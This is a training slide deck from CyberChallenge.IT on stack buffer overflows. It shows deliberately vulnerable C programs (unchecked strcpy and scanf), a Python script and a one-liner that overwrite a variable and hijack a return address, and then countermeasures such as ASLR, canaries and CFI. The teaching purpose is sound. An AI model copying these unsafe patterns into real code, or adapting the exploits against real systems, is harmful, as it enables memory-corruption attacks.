CYBER CHALLENGE
CyberChallenge.IT

cini
Cybersecurity National Lab

SPONSOR PLATINUM

accenture security · aizoOn Technology Consulting · B5 · EY Building a better working world · eni · exprivia | ITALTEL

IBM · KPMG · LEONARDO · NTT DATA Trusted Global Innovator · NUMERA Sistemi e Informatica S.p.A. · Telsy

SPONSOR GOLD

bip. · cisco · Monte dei Paschi di Siena Banca dal 1472 · negg · NOVANEXT connecting the future · pwc

SPONSOR SILVER

DiGi ONE the leading digital company · ICT Cyber Consulting

Software Security 2

Buffer Overflow

Michele LORETI
Univ. di Camerino
michele.loreti@unicam.it

CYBER CHALLENGE
CyberChallenge.IT

cini
Cybersecurity National Lab

https://cybersecnatlab.it

License & Disclaimer

Outline

- Memory corruption attacks
- Detection and prevention

Buffer overflow

- Typical errors with arrays, pointers and strings are:
  - Accessing outside array bounds;
  - Copy a string in a too small buffer;
  - Having a pointer referencing a wrong location.
- These errors may change program executions
  - Can be also used by an attacker!

Variables overriding

- Let us consider the following code:

```c
int main(int argc, char **argv)
{
    int variable;
    char buffer[10];

    if(argc == 1) {
        errx(1, "please specify an argument\n");
    }

    variable = 0;
    strcpy(buffer, argv[1]);

    if(variable == 0x30324343) {
        printf("You have changed the variable with the correct value!\n");
    } else {
        printf("Try again, you got 0x%08x\n", variable);
    }
}
```


Variables overriding

- Let us consider the following code:

```
int main(int argc, char **argv)
{
    int variable;
    char buffer[10];

    if(argc == 1) {
        errx(1, "please specify an argument\n");
    }

    variable = 0;
    strcpy(buffer, argv[1]);

    if(variable == 0x30324343) {
        printf("You have changed the variable with the correct value!\n");
    } else {
        printf("Try again, you got 0x%08x\n", variable);
    }
}
```

Local variables stored in the stack.

Variables overriding

- Let us consider the following code:

```
int main(int argc, char **argv)
{
    int variable;
    char buffer[10];

    if(argc == 1) {
        errx(1, "please specify an argument\n");
    }

    variable = 0;
    strcpy(buffer, argv[1]);

    if(variable == 0x30324343) {
        printf("You have changed the variable with the correct value!\n");
    } else {
        printf("Try again, you got 0x%08x\n", variable);
    }
}
```

Variable inizialization.

Variables overriding

- Let us consider the following code:

```c
int main(int argc, char **argv)
{
    int variable;
    char buffer[10];

    if(argc == 1) {
        errx(1, "please specify an argument\n");
    }

    variable = 0;
    strcpy(buffer, argv[1]);

    if(variable == 0x30324343) {
        printf("You have changed the variable with the correct value!\n");
    } else {
        printf("Try again, you got 0x%08x\n", variable);
    }
}
```

How can we change content of *variable?*

Variables overriding

- Let us consider the following code:

```c
int main(int argc, char **argv)
{
    int variable;
    char buffer[10];

    if(argc == 1) {
        errx(1, "please specify an argument\n");
    }

    variable = 0;
    strcpy(buffer, argv[1]);

    if(variable == 0x30324343) {
        printf("You have changed the variable with the correct value!\n");
    } else {
        printf("Try again, you got 0x%08x\n", variable);
    }
}
```

There is a vulnerability! Indeed, we cannot guarantee that buffer is bigger enough to contain argv[1]!

Variables overriding

- We can observe that *variable* is allocated in the stack *next to buffer.*

- This means we can pass to our program a parameter *long enough* to override the content of *variable.*

Variables overriding

- We can invoke our program with different inputs to check the result:

```
CC> ./override AAAAAAAAAAB
Try again, you got 0x00000000
CC> ./override AAAAAAAAAAAAAAB
Try again, you got 0x00004241
CC>
```

- We observe that, if the input exceeds 12 chars, the value of *variable* changes.

Variables overriding

- Starting from this observation we can write a simple Python script that computes the *right* input to use:

```
import os

command = './override '+('A'*12+'\x43\x43\x32\x30')

print "Executing: "+command

os.system(command)
```


Variables overriding

- By running the script we reach our goal:

```
CC> python override.py
Executing: ./override AAAAAAAAAAAACC20
You have changed the variable with the correct value!
CC>
```

Variables overriding

- We can consider now a different kind of buffer overflow exploitation that allow us to change the return address of a function
- This *attack* can be used to execute any other function in our program!
- We will first consider binaries in 32-bit, then we will discuss the 64-bit case.

Corrupting function return address

- Let us consider the following code:

```c
void highSecurityFunction() {
    printf("You have executed a function with high security level!");
}

void lowSecurityFunction() {
    char buffer[20];

    printf("Enter some text:\n");
    scanf("%s",buffer);
    printf("You entered: %s\n");
}

int main(int argc, char **argv)
{
    lowSecurityFunction();
    return 0;
}
```

Corrupting function return address

- Let us consider the following code:

```
void highSecurityFunction() {
    printf("You have executed a function with high security level!");
}

void lowSecurityFunction() {
    char buffer[20];

    printf("Enter some text:\n");
    scanf("%s",buffer);
    printf("You entered: %s\n");
}

int main(int argc, char **argv)
{
    lowSecurityFunction();
    return 0;
}
```

A high level security function that exposes some secret.

A low level security function accessible to *standard users*.

Only low security function is invoked.

Corrupting function return address

- Let us consider the following code: Is secure?

```
void highSecurityFunction() {
    printf("You have executed a function with high security level!");
}

void lowSecurityFunction() {
    char buffer[20];

    printf("Enter some text:\n");
    scanf("%s",buffer);
    printf("You entered: %s\n");
}

int main(int argc, char **argv)
{
    lowSecurityFunction();
    return 0;
}
```

Corrupting function return address

- Let us consider the following code: Is secure? NO!

```
void highSecurityFunction() {
    printf("You have executed a function with high security level!");
}

void lowSecurityFunction() {
    char buffer[20];

    printf("Enter some text:\n");
    scanf("%s",buffer);
    printf("You entered: %s\n");
}

int main(int argc, char **argv)
{
    lowSecurityFunction();
    return 0;
}
```

There is a code vulnerability! Indeed, the read string could exceed the buffer size.

We can use buffer overflow to execute highSecurityFunction.

Corrupting function return address

- Let us assume that the code has been built for a 32-bit architecture.
- We can *disassemble* the binary file to extract info

```
CC> objdump -d return
```

- This allows us to collect information about our program.

Corrupting function return address

- The address of *highSecurityFunction:*

```
0804848b <highSecurityFunction>:
 804848b:       55                      push   %ebp
 804848c:       89 e5                   mov    %esp,%e
```

- The amount of bytes reserved for local variables of lowSecurityFunction (28 in hex, 49 in decimal):

```
80484a7:       83 ec 28                 sub    $0x28,%esp
80484aa:       83 ec 0c                 sub    $0xc,%esp
```


Corrupting function return address

- The (relative) address of *buffer:*

```
80484bd:        8d 45 e4                lea    -0x1c(%ebp),%eax
```

- The *buffer* is stored *1c* in hex (28 in decimal) bytes before *%ebp.*
  - 28 bytes are reserved, even if we asked for 20!

Corrupting function return address

- We know that:
  - *28* bytes have been reserved for *buffer;*
  - *buffer* is allocated right next to *%ebp* (the Base pointer to main function)
  - *4* bytes are used to store *%ebp*
  - the next *4* bytes are used to store the *return address*

Corrupting function return address

- To execute function *highSecureFunction,* we have to provide as input…
  - *32* bytes of any random characters
  - *4* bytes with the address of *highSecureFunction*
- This can be done with the following code:

```
python -c 'print("a"*32 + "\x8b\x84\x04\x08")' | ./return
```

Corrupting function return address


```
CC> python -c 'print("a"*32 + "\x8b\x84\x04\x08")' | ./return
Enter some text:
You entered: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa??
You have executed a function with high security level!
Segmentation fault (core dumped)
```

N.B. The order of bytes may change if the organization of bytes is *little endian* or *big endian:*

- *Big endian:* most significant byte at the beginning;
- *Little endian:* most significant byte at the end.

Corrupting function return address

- In the last example we have considered a *x86* architecture
- The approach is similar in an x86-64, however in this architecture address are handled in a different way:
  - The entire 2^{64} bytes are not used for address space;
  - Only the least significant 48 bits are used.
- Addresses must have a *canonical form* and the only valid addresses are in the range:
  - From 0x0000000000000000 to 0x00007FFFFFFFFFFF;
  - From 0xFFFF800000000000 to 0xFFFFFFFFFFFFFFFF.
- We must guarantee that an *injected address* must respect canonical form, otherwise an exception is generated.

Countermeasures

- A number of countermeasures are available:

1. Enable compiler optimization:
   - *gcc,* like other compilers, can generate code to *check* illegal access to the stack
   - This is not enough! We have not always control on the building phase!
2. Use tools that automatically detects memory management bugs.

Countermeasures

3. Address Space Layout Randomization (ASLR)
   - Function code displacement in memory is randomized at load time
   - Defense vulnerable to brute-force attacks
4. Stack Canaries
   - An additional random number is pushed into the stack above the return address
   - At return time, its value is compared with the original one to detect buffer overflow
   - Defense only for stack memory vulnerabilities

Countermeasures

5. Control-Flow Integrity (CFI)
   - Program flow is computed before runtime and validated at runtime by additional instructions added by a secure compiler or by hardware extensions
   - Best defense against arbitrary code execution in general, but very costly or hard to implement

Software Security 2

Buffer Overflow

Michele LORETI
Univ. di Camerino
michele.loreti@unicam.it

CYBER CHALLENGE
CyberChallenge.IT

cini
Cybersecurity National Lab

https://cybersecnatlab.it

SPONSOR PLATINUM

SPONSOR GOLD

SPONSOR SILVER